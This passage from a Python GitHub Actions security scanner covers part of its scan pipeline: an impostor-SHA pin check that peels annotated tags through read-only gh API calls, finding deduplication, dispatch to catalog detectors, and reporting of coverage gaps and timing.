  5897. if "HTTP 404" in stderr or "Not Found" in stderr or "HTTP 422" in stderr:
  5898. return False
  5899. logger.debug("impostor check inconclusive for %s@%s: %s", repo, sha, stderr.strip())
  5900. return None
  5901. def _gh_peel_tag_object(repo: str, sha: str) -> tuple[str | None, bool]:
  5902. """Peel `sha` as an annotated TAG object in `repo`.
  5903. Returns ``(peeled_commit_sha, answered)``. ``answered=True`` means "the API
  5904. gave us a real answer about this object"; ``answered=False`` means "we do
  5905. not know", which degrades to unverified rather than manufacturing an
  5906. accusation out of a transient error — the exact class of false accusation
  5907. this check exists to avoid.
  5908. Branch by branch:
  5909. - tag peels to a ``commit`` object → ``(commit_sha, True)``.
  5910. - explicit 404/422 from ``git/tags`` → ``(None, True)``. This is the ONLY
  5911. way this function reports an absence: the API said there is no such tag
  5912. object here.
  5913. - any other non-zero exit (rate limit, auth, 5xx) → ``(None, False)``.
  5914. - ``TimeoutExpired`` / ``FileNotFoundError`` (no gh on PATH) →
  5915. ``(None, False)``.
  5916. - malformed / non-JSON body, or an ``object.sha`` that is not 40 hex →
  5917. ``(None, False)``. We asked and got noise; noise is not an absence.
  5918. - tag target is neither ``commit`` nor ``tag`` → ``(None, False)``.
  5919. - cycle detected, or ``_MAX_TAG_PEEL_DEPTH`` exhausted → ``(None, False)``.
  5920. "We gave up walking this chain" is not "the object is absent"; returning
  5921. True there rendered a broken or unusually deep tag chain as an impostor
  5922. accusation.
  5923. `repos/{repo}/commits/{sha}` answers 404/422 for a tag object's own sha, so
  5924. a workflow pinned to the sha of an annotated release tag — which real
  5925. actions publish (astral-sh/setup-uv, pnpm/action-setup) — would otherwise be
  5926. reported as a fork-only or dangling commit. It is a legitimate pin to an
  5927. object the canonical repo really contains.
  5928. """
  5929. seen: set[str] = set()
  5930. current = sha
  5931. for _ in range(_MAX_TAG_PEEL_DEPTH):
  5932. if current in seen:
  5933. logger.debug(
  5934. "tag peel cycled at %s@%s — unresolved, not an absence",
  5935. repo, current,
  5936. )
  5937. return None, False
  5938. seen.add(current)
  5939. try:
  5940. result = subprocess.run(
  5941. ["gh", "api", f"repos/{repo}/git/tags/{current}",
  5942. "--hostname", "github.com"],
  5943. capture_output=True, text=True, timeout=30,
  5944. )
  5945. except (subprocess.TimeoutExpired, FileNotFoundError):
  5946. return None, False
  5947. if result.returncode != 0:
  5948. stderr = result.stderr or ""
  5949. definitive = (
  5950. "HTTP 404" in stderr or "Not Found" in stderr
  5951. or "HTTP 422" in stderr
  5952. )
  5953. if not definitive:
  5954. logger.debug(
  5955. "tag peel inconclusive for %s@%s: %s",
  5956. repo, current, stderr.strip(),
  5957. )
  5958. return None, definitive
  5959. try:
  5960. obj = (json.loads(result.stdout or "{}") or {}).get("object") or {}
  5961. target_type = obj.get("type")
  5962. target_sha = obj.get("sha")
  5963. except (ValueError, TypeError, AttributeError):
  5964. return None, False
  5965. if not isinstance(target_sha, str) or not _SHA40_RE.fullmatch(target_sha):
  5966. return None, False
  5967. if target_type == "commit":
  5968. return target_sha, True
  5969. if target_type != "tag":
  5970. # A tag pointing at a tree or a blob: we cannot follow it to a
  5971. # commit, but the canonical repo did serve the object. "Cannot
  5972. # resolve" is not "absent".
  5973. logger.debug(
  5974. "tag %s@%s targets a %r — unresolved, not an absence",
  5975. repo, current, target_type,
  5976. )
  5977. return None, False
  5978. current = target_sha
  5979. logger.debug(
  5980. "tag peel exceeded depth %d for %s@%s — unresolved, not an absence",
  5981. _MAX_TAG_PEEL_DEPTH, repo, sha,
  5982. )
  5983. return None, False
  5984. def _gh_commit_in_repo(repo: str, sha: str) -> bool | None:
  5985. """Does the canonical `repo` contain the object this workflow pins?
  5986. True/False, or None when the answer is unknowable right now (network error,
  5987. rate limit, a repo this identity cannot see) — an unknown must never be
  5988. reported as either clean or impostor.
  5989. A pin may name a commit OR an annotated tag object. A tag is peeled to the
  5990. commit it points at and that commit is re-probed.
  5991. KNOWN LIMITATION, measured rather than assumed: BOTH endpoints answer about
  5992. the fork NETWORK, not about this repository. `repos/octocat/Hello-World/
  5993. commits/c5a5e51…` returns 200 for a commit that lives only in a fork and is
  5994. reachable from no upstream branch (re-confirmed on `github/gitignore`). So
  5995. a 200 is not proof of canonical containment, and an impostor object planted
  5996. in a fork of the action's own repo reads CLEAN here. What this check
  5997. reliably catches is the pin that resolves to NOTHING in the network at all
  5998. — a deleted, dangling or never-pushed object, the tj-actions shape. Closing
  5999. the fork gap needs a ref-reachability test this API does not offer; see the
  6000. catalog's P14.11 limitation note. The peel still matters: it stops a
  6001. legitimate annotated-release pin from being called an impostor.
  6002. """
  6003. verdict = _gh_commit_probe(repo, sha)
  6004. if verdict is not False:
  6005. return verdict
  6006. # 422 = malformed sha for this repo; 404 = object absent OR repo invisible.
  6007. # Only claim "impostor" once we've confirmed we can actually see the repo —
  6008. # one extra cached call, on the flag path only.
  6009. if not _gh_repo_visible(repo):
  6010. logger.debug(
  6011. "impostor check inconclusive for %s@%s: repo not visible to this "
  6012. "gh identity (private or nonexistent) — not flagged", repo, sha,
  6013. )
  6014. return None
  6015. peeled, answered = _gh_peel_tag_object(repo, sha)
  6016. if peeled is None:
  6017. # No tag object here → the pin really is unreachable. But if the peel
  6018. # never got an answer, we do not know that, and say so.
  6019. return False if answered else None
  6020. logger.debug(
  6021. "%s@%s is an annotated tag object peeling to %s — re-probing that commit",
  6022. repo, sha, peeled,
  6023. )
  6024. # A SERVED tag object is NOT proof of canonical containment: GitHub shares
  6025. # ONE object store across a whole fork network, so `git/tags/{sha}` will
  6026. # happily serve a tag object an attacker created in a fork of this repo.
  6027. # The commit probe is no stronger — see the docstring's measured note; it is
  6028. # simply the narrower of the two questions we can ask, and the only one
  6029. # whose NEGATIVE answer is trustworthy.
  6030. #
  6031. # So the re-probe is the whole verdict, and it has three outcomes, not two:
  6032. # True → the peeled commit resolves in the network: nothing to flag on
  6033. # the evidence available.
  6034. # False → the tag points at a commit that resolves nowhere — not in this
  6035. # repo, not anywhere in its fork network: flag it.
  6036. # None → we could not tell (network, rate limit): UNVERIFIED. We hold no
  6037. # independent proof to fall back on, so claiming "verified" here
  6038. # would assert containment we never established.
  6039. return _gh_commit_probe(repo, peeled)
  6040. def _impostor_sha_findings(
  6041. entry: "CatalogEntry", root: Path, workflow_files: list[Path]
  6042. ) -> tuple[list[tuple[str, RawHit]], str, list[str]]:
  6043. """Run the P14.11 network-gated check.
  6044. Returns ``(hits, status_line, unverified)``: per-file hits as
  6045. ``(rel_file, RawHit)`` tuples, the status recorded in ``gh_checks``,
  6046. and the pins whose verdict was unknowable this run (``repo@sha
  6047. (file:line)``). One cached gh call per unique (repo, sha); every
  6048. occurrence of a flagged pin becomes a hit.
  6049. A run with ANY unknown verdict reports ``partial:``, not ``ran:`` —
  6050. "verified" may only ever be asserted of pins the check actually
  6051. resolved, and the report must be able to name the ones it could not.
  6052. """
  6053. pins = _collect_sha_pins(root, workflow_files)
  6054. if not pins:
  6055. return [], "ran: no sha-pinned actions found", []
  6056. unique = sorted({(repo, sha) for _, _, repo, sha in pins})
  6057. verdicts: dict[tuple[str, str], bool | None] = {}
  6058. for repo, sha in unique:
  6059. verdicts[(repo, sha)] = _gh_commit_in_repo(repo, sha)
  6060. hits: list[tuple[str, RawHit]] = []
  6061. unverified: list[str] = []
  6062. unknowns = sum(1 for v in verdicts.values() if v is None)
  6063. for rel, lineno, repo, sha in pins:
  6064. verdict = verdicts[(repo, sha)]
  6065. if verdict is False:
  6066. hits.append((rel, RawHit(
  6067. line=lineno,
  6068. evidence=(
  6069. f"{lineno:>4}: uses: {repo}@{sha[:12]}… — commit NOT found in "
  6070. f"the canonical repo (fork-only or dangling object) <-- here"
  6071. ),
  6072. match_text=f"{repo}@{sha[:12]}",
  6073. derived=True,
  6074. )))
  6075. elif verdict is None:
  6076. unverified.append(f"{repo}@{sha[:12]}… ({rel}:{lineno})")
  6077. verified = len(unique) - unknowns
  6078. if unknowns:
  6079. status = (
  6080. f"partial: {verified} of {len(unique)} unique pin(s) verified, "
  6081. f"{len(hits)} flagged, {unknowns} UNVERIFIED (network/rate-limit) "
  6082. f"— not treated as clean"
  6083. )
  6084. else:
  6085. status = f"ran: {len(unique)} unique pin(s) verified, {len(hits)} flagged"
  6086. return hits, status, unverified
  6087. def _dedupe_occurrences(findings: list[Finding]) -> list[Finding]:
  6088. """Collapse findings that name the same (pattern, file, line).
  6089. Two template expressions on one line are one occurrence to fix, and SKILL.md
  6090. calls the JSON the source of truth — so the duplicate cannot live only in
  6091. the JSON with the renderer quietly collapsing it (sentry's
  6092. frontend-snapshots.yml:66 was emitted twice and counted twice). Ids are
  6093. renumbered so they stay contiguous.
  6094. Collapsing is not the same as forgetting. Two DIFFERENT expressions on one
  6095. line are still one occurrence to fix, but a finding that named only the
  6096. first hid the second sink from the reader entirely. So every distinct
  6097. ``match_text`` folded into a kept finding is named on its ``<-- here``
  6098. marker; the transient ``_match_text`` key is stripped on the way out.
  6099. """
  6100. seen: dict[tuple[str, str, int], Finding] = {}
  6101. texts: dict[str, list[str]] = {}
  6102. kept: list[Finding] = []
  6103. for f in findings:
  6104. key = (f["pattern"], f["workflow_file"], f["line"])
  6105. match_text = str(f.pop("_match_text", "") or "")
  6106. if key in seen:
  6107. logger.debug("dropping duplicate occurrence %s at %s:%s", *key)
  6108. bucket = texts[id(seen[key])]
  6109. if match_text and match_text not in bucket:
  6110. bucket.append(match_text)
  6111. # Fold the folded finding's own CLAIM in too, not just its label.
  6112. # Naming the second fetch on the marker stopped it vanishing, but
  6113. # the kept finding's prose still described only the first chain, so
  6114. # what runs out of the second tree was stated nowhere at all.
  6115. note = str(f.get("derived_note") or "")
  6116. kept_note = str(seen[key].get("derived_note") or "")
  6117. if note and note not in kept_note:
  6118. seen[key]["derived_note"] = f"{kept_note} ALSO: {note}"
  6119. continue
  6120. seen[key] = f
  6121. texts[id(f)] = [match_text] if match_text else []
  6122. f["id"] = f"f{len(kept) + 1}"
  6123. kept.append(f)
  6124. for f in kept:
  6125. found = texts.get(id(f)) or []
  6126. if len(found) > 1:
  6127. f["evidence"] = str(f.get("evidence") or "").replace(
  6128. " <-- here", " <-- here: " + ", ".join(found), 1
  6129. )
  6130. return kept
  6131. _DEFAULT_GH_SKIP_REASON = "gh not authenticated (run gh auth login)"
  6132. def _gh_unavailable_reason() -> str:
  6133. """Specific guidance when the optional gh-backed checks cannot run."""
  6134. if shutil.which("gh") is None:
  6135. return "gh not installed (install the GitHub CLI)"
  6136. return _DEFAULT_GH_SKIP_REASON
  6137. def scan(
  6138. catalog: list[CatalogEntry],
  6139. root: Path,
  6140. repo: str | None = None,
  6141. gh_impostor: bool = False,
  6142. gh_skip_reason: str = _DEFAULT_GH_SKIP_REASON,
  6143. ) -> dict[str, Any]:
  6144. try:
  6145. return _scan_once(catalog, root, repo, gh_impostor, gh_skip_reason)
  6146. finally:
  6147. # Back to offline on EVERY exit, a raised CoverageError included: a
  6148. # detector called outside a scan never reaches the network on the
  6149. # strength of an earlier scan's switch.
  6150. _reset_release_lookup(False, _DEFAULT_GH_SKIP_REASON, None)
  6151. def _scan_once(
  6152. catalog: list[CatalogEntry],
  6153. root: Path,
  6154. repo: str | None,
  6155. gh_impostor: bool,
  6156. gh_skip_reason: str,
  6157. ) -> dict[str, Any]:
  6158. _DROPPED_MATCHES.clear()
  6159. _reset_expression_tokens()
  6160. # P14.24's release-immutability lookup rides the same network switch as
  6161. # P14.11, so `--gh-impostor off` keeps every vector lookup offline.
  6162. _reset_release_lookup(gh_impostor, gh_skip_reason, root)
  6163. _PARSE_FAILURES_LOGGED.clear()
  6164. workflow_files = all_workflow_files(root)
  6165. missed = _undiscovered_workflows(root, workflow_files)
  6166. if missed:
  6167. raise CoverageError(
  6168. f"{len(missed)} workflow file(s) exist under {root}/.github/workflows "
  6169. f"but were not discovered ({', '.join(missed[:5])}) — the scan would "
  6170. f"report clean on files it never opened"
  6171. )
  6172. if not workflow_files:
  6173. # Zero workflows is not a clean repo, it is nothing to grade: every
  6174. # chain check would pass vacuously, the config facts would score a
  6175. # workflow-less repo 83.3/100 and the report would render ten green
  6176. # rows. Refuse exactly as a missing `.github/workflows` directory does.
  6177. raise CoverageError(
  6178. f"no workflow files found under {root}/.github/workflows — there is "
  6179. f"nothing to scan, so every check would pass vacuously. This is a "
  6180. f"coverage failure, not a clean repo"
  6181. )
  6182. logger.debug(
  6183. "scan starting: %d catalog entries, %d workflow files under %s",
  6184. len(catalog), len(workflow_files), root,
  6185. )
  6186. # Parallel-step census, once per file. Every detector that walks a job's
  6187. # steps reads them through `_iter_job_steps`, so children of a
  6188. # `parallel:` group ARE scanned; this
  6189. # records that they were, so the report can say so rather than leave a
  6190. # reader to wonder whether the newer syntax was understood. A group the
  6191. # walker could not read is a coverage gap, recorded as one.
  6192. parallel_steps: dict[str, Any] = {
  6193. "steps_scanned": 0, "control_steps": 0, "background_steps": 0,
  6194. "workflows": [],
  6195. }
  6196. for wf in workflow_files:
  6197. stats, gaps = _parallel_step_stats(wf)
  6198. parallel_steps["steps_scanned"] += stats.in_parallel
  6199. parallel_steps["control_steps"] += stats.control
  6200. parallel_steps["background_steps"] += stats.background
  6201. if stats.in_parallel or stats.control or stats.background:
  6202. parallel_steps["workflows"].append(_repo_relative(str(wf), root))
  6203. for reason in gaps:
  6204. _record_dropped_match(wf, reason, kind=_KIND_PARALLEL_GROUP)
  6205. # Wall-clock anchor for end-to-end timing: report.py (always the last step)
  6206. # computes total_run_s from this. It lives in scan.py — not just the run.py
  6207. # driver — so the number is captured whether the orchestrator runs run.py or
  6208. # invokes scan.py directly. Without this anchor, a direct-scan run silently
  6209. # drops total_run_s (the failure mode that actually happened).
  6210. _scan_start_epoch = time.time()
  6211. _t_scan_start = time.monotonic()
  6212. findings: list[Finding] = []
  6213. finding_seq = 0
  6214. activity_cache: dict[str, dict[str, Any]] = {}
  6215. # Prefetch activity for every workflow concurrently up front (one gh call
  6216. # each, independent and read-only) so the detector loop below reads a warm
  6217. # cache instead of blocking ~2s per workflow inline.
  6218. _t_enrich_start = time.monotonic()
  6219. if repo:
  6220. activity_cache = _prefetch_activity(repo, workflow_files, root)
  6221. _enrich_s = time.monotonic() - _t_enrich_start
  6222. # gh-impostor-sha runs once per pattern, network-gated. A skip is
  6223. # recorded loudly in gh_checks — never a silent pass.
  6224. gh_checks: dict[str, str] = {}
  6225. # Per-check structured detail the status string can't carry — today the
  6226. # list of pins the impostor check could not resolve, so the report can
  6227. # name each one instead of hiding them behind a count.
  6228. gh_check_details: dict[str, dict[str, Any]] = {}
  6229. for entry in catalog:
  6230. if entry.detector != "gh-impostor-sha":
  6231. continue
  6232. if not gh_impostor:
  6233. gh_checks[entry.pattern] = (
  6234. f"skipped: {gh_skip_reason} (network-gated check did NOT run)"
  6235. )
  6236. continue
  6237. pin_hits, status, unverified = _impostor_sha_findings(
  6238. entry, root, workflow_files
  6239. )
  6240. gh_checks[entry.pattern] = status
  6241. if unverified:
  6242. gh_check_details[entry.pattern] = {"unverified": unverified}
  6243. for rel, hit in pin_hits:
  6244. finding_seq += 1
  6245. findings.append({
  6246. "id": f"f{finding_seq}",
  6247. "pattern": entry.pattern,
  6248. "severity": entry.severity,
  6249. "title": entry.title_template.format(
  6250. basename=rel.rsplit("/", 1)[-1], pattern=entry.pattern,
  6251. severity=entry.severity, match_text=hit.match_text,
  6252. ),
  6253. "workflow_file": rel,
  6254. "line": hit.line,
  6255. "affected_jobs": [],
  6256. "workflow_activity": activity_cache.get(rel, {}),
  6257. "evidence": hit.evidence,
  6258. "evidence_kind": "derived" if hit.derived else "source",
  6259. "fix_strategy": entry.fix_strategy,
  6260. "fix_recipe_anchor": entry.anchor,
  6261. })
  6262. # repo-file-check runs once per pattern (not per workflow file).
  6263. # Pop these out of the per-workflow loop below.
  6264. for entry in catalog:
  6265. if entry.detector != "repo-file-check":
  6266. continue
  6267. assert entry.file_check, "validated in __post_init__"
  6268. check_fn = _FILE_CHECKS.get(entry.file_check)
  6269. if check_fn is None:
  6270. logger.warning(
  6271. "Pattern %s: unknown file_check %r — skipping",
  6272. entry.pattern, entry.file_check,
  6273. )
  6274. continue
  6275. hits = list(check_fn(root))
  6276. for hit in hits:
  6277. finding_seq += 1
  6278. findings.append({
  6279. "id": f"f{finding_seq}",
  6280. "pattern": entry.pattern,
  6281. "severity": entry.severity,
  6282. "title": entry.title_template.format(
  6283. basename="(repo)", pattern=entry.pattern,
  6284. severity=entry.severity, match_text=hit.match_text,
  6285. ),
  6286. "workflow_file": "(repo-wide)",
  6287. "line": hit.line,
  6288. "affected_jobs": [],
  6289. "workflow_activity": {},
  6290. "evidence": hit.evidence,
  6291. "evidence_kind": "derived" if hit.derived else "source",
  6292. "fix_strategy": entry.fix_strategy,
  6293. "fix_recipe_anchor": entry.anchor,
  6294. })
  6295. for entry in catalog:
  6296. if entry.detector in ("repo-file-check", "gh-impostor-sha"):
  6297. continue # already handled above
  6298. if entry.detector == "manual":
  6299. # Documentation-only pattern: not scanned; the catalog
  6300. # section is reference material for human review.
  6301. continue
  6302. if not entry.affected_globs:
  6303. continue
  6304. candidates = [
  6305. f for f in workflow_files
  6306. if _path_matches_any_glob(
  6307. str(f.relative_to(root)),
  6308. entry.affected_globs,
  6309. )
  6310. ]
  6311. logger.debug(
  6312. "evaluating %s (%s) against %d candidate file(s)",
  6313. entry.pattern, entry.detector, len(candidates),
  6314. )
  6315. for wf in candidates:
  6316. rel = str(wf.relative_to(root))
  6317. basename = wf.name
  6318. if entry.detector == "regex":
  6319. assert entry.match is not None # validated in __post_init__
  6320. hits = list(detect_regex(
  6321. wf, entry.match,
  6322. normalize_context_brackets=entry.pattern == "P14.15",
  6323. ))
  6324. elif entry.detector == "yaml-path":
  6325. assert entry.yaml_path is not None
  6326. hits = list(
  6327. detect_yaml_path(wf, entry.yaml_path, entry.yaml_value)
  6328. )
  6329. elif entry.detector == "yaml-path-absent":
  6330. assert entry.yaml_path is not None
  6331. hits = list(detect_yaml_path_absent(wf, entry.yaml_path))
  6332. elif entry.detector == "yaml-on-trigger":
  6333. assert entry.trigger_keys is not None
  6334. hits = list(detect_yaml_on_trigger(wf, entry.trigger_keys))
  6335. elif entry.detector == "yaml-run-injection":
  6336. assert entry.match is not None
  6337. hits = list(detect_yaml_run_injection(
  6338. wf, entry.match,
  6339. normalize_context_brackets=entry.pattern == "P14.10",
  6340. ))
  6341. elif entry.detector == "yaml-job-correlated":
  6342. assert entry.correlation, "validated in __post_init__"
  6343. corr_fn = _JOB_CORRELATIONS.get(entry.correlation)
  6344. if corr_fn is None:
  6345. logger.warning(
  6346. "Pattern %s: unknown correlation %r — skipping",
  6347. entry.pattern, entry.correlation,
  6348. )
  6349. continue
  6350. hits = list(corr_fn(wf))
  6351. elif entry.detector == "yaml-workflow-correlated":
  6352. assert entry.correlation, "validated in __post_init__"
  6353. wcorr_fn = _WORKFLOW_CORRELATIONS.get(entry.correlation)
  6354. if wcorr_fn is None:
  6355. logger.warning(
  6356. "Pattern %s: unknown correlation %r — skipping",
  6357. entry.pattern, entry.correlation,
  6358. )
  6359. continue
  6360. hits = list(wcorr_fn(wf))
  6361. else:
  6362. continue
  6363. logger.debug(
  6364. " %s: %d hit(s) on %s", entry.pattern, len(hits), rel,
  6365. )
  6366. if not hits:
  6367. continue
  6368. jobs = affected_jobs_for(wf)
  6369. job_ranges = job_line_ranges(wf)
  6370. if repo:
  6371. if rel not in activity_cache:
  6372. activity_cache[rel] = fetch_workflow_activity(
  6373. repo, basename,
  6374. workflow_call_only=_is_workflow_call_only(wf),
  6375. )
  6376. activity = activity_cache[rel]
  6377. else:
  6378. activity = {}
  6379. for hit in hits:
  6380. finding_seq += 1
  6381. # A line-anchored hit affects the ONE job that contains it.
  6382. # Stamping the file's whole job list on every occurrence read
  6383. # as "all 22 of these jobs are affected" and contradicted the
  6384. # finding's own evidence. A hit that sits outside every job
  6385. # (workflow-scope permissions, triggers) really does affect
  6386. # them all, and keeps the full list.
  6387. #
  6388. # `job_ranges is None` is a THIRD case: attribution could not
  6389. # be computed at all. That also keeps the full list, but it is
  6390. # not the same claim as "workflow-scope", so the finding
  6391. # carries a note saying which one the reader is looking at.
  6392. if job_ranges is None:
  6393. hit_jobs = jobs
  6394. jobs_note: str | None = (
  6395. "job attribution unavailable — this workflow's YAML "
  6396. "line marks could not be composed, so every job is "
  6397. "listed; this is not a claim that the finding is "
  6398. "workflow-scope"
  6399. )
  6400. else:
  6401. containing_job = job_at_line(job_ranges, hit.line)
  6402. hit_jobs = [containing_job] if containing_job else jobs
  6403. jobs_note = None
  6404. fmt_vars = {
  6405. "basename": basename,
  6406. "pattern": entry.pattern,
  6407. "severity": hit.severity_override or entry.severity,
  6408. "match_text": hit.match_text,
  6409. }
  6410. try:
  6411. title = entry.title_template.format(**fmt_vars)
  6412. except (KeyError, IndexError) as e:
  6413. logger.warning(
  6414. "Pattern %s has bad title_template %r: %s",
  6415. entry.pattern,
  6416. entry.title_template,
  6417. e,
  6418. )
  6419. title = f"{entry.pattern} hit in {basename}"
  6420. findings.append({
  6421. "id": f"f{finding_seq}",
  6422. "pattern": entry.pattern,
  6423. "severity": hit.severity_override or entry.severity,
  6424. "title": title,
  6425. "workflow_file": rel,
  6426. "line": hit.line,
  6427. "affected_jobs": hit_jobs,
  6428. # Present only when the job list is a fallback rather than
  6429. # an attribution; report.py renders it beside the jobs.
  6430. **({"affected_jobs_note": jobs_note} if jobs_note else {}),
  6431. "workflow_activity": activity,
  6432. "evidence": hit.evidence,
  6433. # Optional second claim, always rendered as derived: the
  6434. # condition elsewhere in the job that makes the quoted
  6435. # line a finding (see RawHit.derived_note). Absent for
  6436. # every detector that has only one claim to make.
  6437. **({"derived_note": hit.derived_note}
  6438. if hit.derived_note else {}),
  6439. # Says whether `evidence` quotes the file or states a
  6440. # claim this scanner derived from it; the report renders
  6441. # the two differently so a derived sentence is never
  6442. # dressed as source the reader can go and find.
  6443. "evidence_kind": "derived" if hit.derived else "source",
  6444. "fix_strategy": (
  6445. hit.fix_strategy_override or entry.fix_strategy
  6446. ),
  6447. **({"attacker_scenario": hit.attacker_scenario}
  6448. if hit.attacker_scenario else {}),
  6449. **({"fix_guidance": hit.fix_guidance}
  6450. if hit.fix_guidance else {}),
  6451. "fix_recipe_anchor": entry.anchor,
  6452. # `risk` and `risk_note` are deliberately absent.
  6453. # The orchestrator scores them per group against
  6454. # the actual workflow code (SKILL.md Phase 2.5)
  6455. # and patches them onto each finding before piping
  6456. # the JSON to report.py.
  6457. #
  6458. # Transient, stripped by `_dedupe_occurrences`: the exact
  6459. # text that matched, so two DIFFERENT sinks on one line
  6460. # collapse into one occurrence that names both rather than
  6461. # one that silently names only the first.
  6462. "_match_text": hit.match_text,
  6463. })
  6464. findings = _dedupe_occurrences(findings)
  6465. # Coverage-gap surface: a workflow that can't be read or parsed yields
  6466. # nothing from the detectors, which is indistinguishable from "scanned
  6467. # clean". Probe each file once and record the failures so report.py can
  6468. # surface them loudly — a skipped file must never read as a clean one.
  6469. scan_incomplete: list[dict[str, str]] = []
  6470. for wf in workflow_files:
  6471. reason = _probe_scannability(wf)
  6472. if reason is not None:
  6473. rel = str(wf.relative_to(root))
  6474. logger.warning("coverage gap: %s — %s", rel, reason)
  6475. scan_incomplete.append({"workflow_file": rel, "reason": reason})
  6476. # A file that is not in the working tree AT ALL is the same coverage gap as one
  6477. # that could not be parsed — the detectors never ran on it — so it rides the
  6478. # same channel, which is what flips the report's Coverage row to PARTIAL, raises
  6479. # the incomplete-coverage banner, and (via config_facts) stops the config facts
  6480. # from claiming "all N workflow(s) declare permissions" when N is a fraction of
  6481. # the repository. A partial checkout must not read as a clean repository.
  6482. for rel in _workflow_files_absent_from_tree(root):
  6483. scan_incomplete.append({
  6484. "workflow_file": rel,
  6485. "reason": "present in the audited commit but absent from the scanned "
  6486. "working tree (partial or sparse checkout) — never read, so "
  6487. "its absence from the findings is NOT a pass",
  6488. })
  6489. # A match a detector found but could not anchor to a line is a coverage gap
  6490. # too — but a DIFFERENT one, kept in its own list. See `_DROPPED_MATCHES`:
  6491. # the file here read and parsed fine, so its config facts are perfectly
  6492. # measurable; only one `run:` step went unscanned.
  6493. #
  6494. # Split by KIND. Only an unanchorable `run:` step belongs under the
  6495. # report's "…were NOT scanned…" headline — a computed `working-directory:`
  6496. # is a real gap the headline does not describe, and a pin suppression is
  6497. # not a gap at all.
  6498. # Recorded only when the scan reached a tag-pinned GitHub CLI extension
  6499. # that its job runs: every other repository's output is unchanged.
  6500. # `scan()` switches the lookup back off once this returns or raises.
  6501. #
  6502. # P14.18's payoff turns on one repository setting: whether a workflow's
  6503. # token may approve pull requests. Read it once, only when a P14.18
  6504. # finding exists, and put the answer on each such finding.
  6505. if any(f.get("pattern") == "P14.18" for f in findings):
  6506. approval = _pr_approval_setting(repo)
  6507. for f in findings:
  6508. if f.get("pattern") == "P14.18":
  6509. f["actions_can_approve_prs"] = dict(approval) # type: ignore[typeddict-unknown-key]
  6510. lookup_status, lookup_unverified = _release_lookup_status()
  6511. if lookup_status is not None:
  6512. gh_checks["P14.24"] = lookup_status
  6513. if lookup_unverified:
  6514. gh_check_details["P14.24"] = {"unverified": lookup_unverified}
  6515. dropped_matches: list[dict[str, str]] = []
  6516. coverage_notes: list[dict[str, str]] = []
  6517. suppressed_findings: list[dict[str, str]] = []
  6518. _by_kind = {
  6519. _KIND_UNANCHORED: dropped_matches,
  6520. _KIND_NOT_SCANNED: coverage_notes,
  6521. _KIND_PARALLEL_GROUP: coverage_notes,
  6522. _KIND_SUPPRESSED: suppressed_findings,
  6523. }
  6524. for dropped in _DROPPED_MATCHES:
  6525. rel = _repo_relative(dropped["file"], root)
  6526. kind = dropped.get("kind", _KIND_UNANCHORED)
  6527. if kind != _KIND_SUPPRESSED:
  6528. logger.warning("coverage gap (%s): %s — %s", kind, rel,
  6529. dropped["reason"])
  6530. else:
  6531. logger.debug("suppressed finding: %s — %s", rel, dropped["reason"])
  6532. entry = {"workflow_file": rel, "reason": dropped["reason"]}
  6533. if kind == _KIND_PARALLEL_GROUP:
  6534. entry["scope"] = _KIND_PARALLEL_GROUP
  6535. bucket = _by_kind.get(kind, dropped_matches)
  6536. if entry not in bucket:
  6537. bucket.append(entry)
  6538. logger.debug(
  6539. "scan complete: %d findings, %d coverage gap(s), %d dropped match(es)",
  6540. len(findings), len(scan_incomplete), len(dropped_matches),
  6541. )
  6542. _total_s = time.monotonic() - _t_scan_start
  6543. logger.debug(
  6544. "Timing: scan_total=%.1fs activity_enrich=%.1fs (concurrent) over %d workflow(s)",
  6545. _total_s, _enrich_s, len(workflow_files),
  6546. )
  6547. return {
  6548. "scanned_at": _dt.datetime.now(_dt.timezone.utc)
  6549. .isoformat(timespec="seconds")
  6550. .replace("+00:00", "Z"),
  6551. "scanned_workflows": len(workflow_files),
  6552. "repo_root": str(root),
  6553. "repo": repo,
  6554. "commit_sha": _git_commit_sha(root),
  6555. # True when the audited checkout had uncommitted/untracked changes at
  6556. # scan time — the scanned bytes then are not the bytes at `commit_sha`,
  6557. # and the report says so on its audited-commit row.
  6558. "repo_tree_dirty": _repo_tree_dirty(root),
  6559. "skill_commit_sha": _skill_commit_sha(),
  6560. # True when the skill's tracked source had uncommitted edits at scan
  6561. # time — so `skill_commit_sha` alone may not reflect the code that ran.
  6562. # report.py marks the recorded commit `-dirty` so provenance is honest.
  6563. "skill_tree_dirty": _skill_tree_dirty(),
  6564. # Per-phase wall-clock so a slow run shows WHERE the time went
  6565. # (Tier-0 timing). The orchestrator folds these into its Phase 6
  6566. # `Timing:` summary.
  6567. "timings": {
  6568. "run_start_epoch": round(_scan_start_epoch, 3),
  6569. "activity_enrich_s": round(_enrich_s, 2),
  6570. "scan_total_s": round(_total_s, 2),
  6571. },
  6572. "gh_checks": gh_checks,
  6573. "gh_check_details": gh_check_details,
  6574. # Every catalog pattern this scan actually evaluated. A chain that
  6575. # failed to load would otherwise be indistinguishable from a chain
  6576. # that found nothing; verify_report.py compares this set against the
  6577. # ten-vector manifest so a silently-shrunk catalog goes red.
  6578. "catalog_patterns_evaluated": sorted(e.pattern for e in catalog),
  6579. "findings": findings,
  6580. # Workflow files that couldn't be read or YAML-parsed, so the static
  6581. # detectors never ran on them. Always set (empty when every file
  6582. # scanned) so report.py can rely on the key. Non-empty means the
  6583. # report's "clean" verdict has holes — see report.py's gap banner.
  6584. "scan_incomplete": scan_incomplete,
  6585. # `run:` steps a detector could not anchor to a raw line and therefore
  6586. # never scanned for injection sinks. A separate channel from
  6587. # `scan_incomplete` on purpose: the FILE parsed fine, so its config
  6588. # facts stay measurable, while coverage still degrades to PARTIAL and
  6589. # the report names the step count and the file count honestly.
  6590. "dropped_matches": dropped_matches,
  6591. # A real coverage gap that is NOT an unanchorable run step — a
  6592. # computed `working-directory:`, a `ref:` chosen at run time, shell
  6593. # that would not parse — or, tagged `scope: parallel-group`, a
  6594. # `parallel:` group or background step whose steps may not have been
  6595. # scanned as steps. Its own key so the report can name it in its own
  6596. # words instead of under a headline that misdescribes it.
  6597. "coverage_notes": coverage_notes,
  6598. # Steps read inside GitHub Actions `parallel:` groups, plus the
  6599. # control (`wait:`/`wait-all:`/`cancel:`) and `background: true` steps
  6600. # seen. Informational: the leaf steps counted were scanned like any
  6601. # other (control steps hold no code), and the count is disclosed so
  6602. # that is never left implicit.
  6603. "parallel_steps": parallel_steps,
  6604. # The workflow lockfile (`.github/workflows/actions.lock`): its state
  6605. # and how many tag-pinned `uses:` references it locks to a commit in
  6606. # the workflows it lists. Informational, never a coverage gap: GitHub
  6607. # verifies each locked commit at run time, and P14.11 reads only
  6608. # full-commit `uses:` pins, so without this a locked repository's
